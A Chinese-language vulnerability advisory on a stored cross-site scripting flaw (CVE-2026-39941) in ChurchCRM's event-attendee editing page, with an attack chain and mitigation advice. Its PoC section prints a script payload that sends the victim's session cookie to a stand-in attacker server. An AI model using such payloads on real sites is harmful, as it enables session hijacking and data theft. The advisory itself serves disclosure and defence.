IPBUF安全漏洞报告
English
CVE-2026-39941 CVSS 6.1 中危

CVE-2026-39941 ChurchCRM跨站脚本漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39941
漏洞类型
XSS (跨站脚本)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

XSSCross-Site ScriptingChurchCRMCWE-79Web漏洞

漏洞概述

ChurchCRM是一款广泛使用的开源教堂管理软件。在7.1.0版本之前,系统被发现存在一处存储型跨站脚本(XSS)漏洞。攻击者无需认证即可利用该漏洞,通过向`EditEventAttendees.php`接口的`EName`和`EDesc`参数注入恶意HTML或JavaScript代码。由于系统缺乏有效的输出编码机制,当受害者浏览相关页面时,恶意代码将在其浏览器中执行,可能导致账户被劫持或敏感数据泄露。

技术细节

该漏洞的成因在于ChurchCRM后端未能对特定输入参数实施安全的输出转义。具体而言,在处理事件参与者编辑功能时,`EditEventAttendees.php`脚本直接接收并存储了`EName`和`EDesc`参数的值,而在后续的页面渲染阶段,未对这些数据进行HTML实体编码。攻击者可以精心构造包含恶意的JavaScript载荷,例如`<img src=x onerror=alert(1)>`,并通过POST请求提交。一旦数据被写入数据库,任何访问受感染事件页面的用户都会触发脚本执行。由于CVSS 3.1评分为6.1(中危),且攻击无需用户交互即可注入(尽管执行需要用户交互),这构成了一个较为严重的安全隐患,特别是在多用户管理环境中。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统正在使用ChurchCRM,且版本低于7.1.0。
STEP 2
2. 漏洞利用
攻击者向`EditEventAttendees.php`发送HTTP POST请求,在`EName`或`EDesc`参数中注入恶意JavaScript代码。
STEP 3
3. 持久化存储
应用程序将未经过滤的恶意数据存储在数据库中。
STEP 4
4. 触发漏洞
当管理员或普通用户访问包含被污染数据的页面时,服务器返回未编码的恶意脚本。
STEP 5
5. 执行攻击
受害者的浏览器解析并执行恶意脚本,导致Cookie被盗取或会话被劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-39941 Inject the following payload into the 'EName' or 'EDesc' parameter in EditEventAttendees.php --> <script> // Simple test to verify execution alert('CVE-2026-39941 XSS Triggered'); // Advanced payload: Steal session cookie var img = new Image(); img.src = 'http://attacker-controlled-server/log.php?c=' + encodeURIComponent(document.cookie); </script>

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员部署Web应用防火墙(WAF)规则,以拦截针对`EditEventAttendees.php`参数的常见XSS攻击特征码。同时,限制对受影响页面的访问权限,仅允许受信任的管理员访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表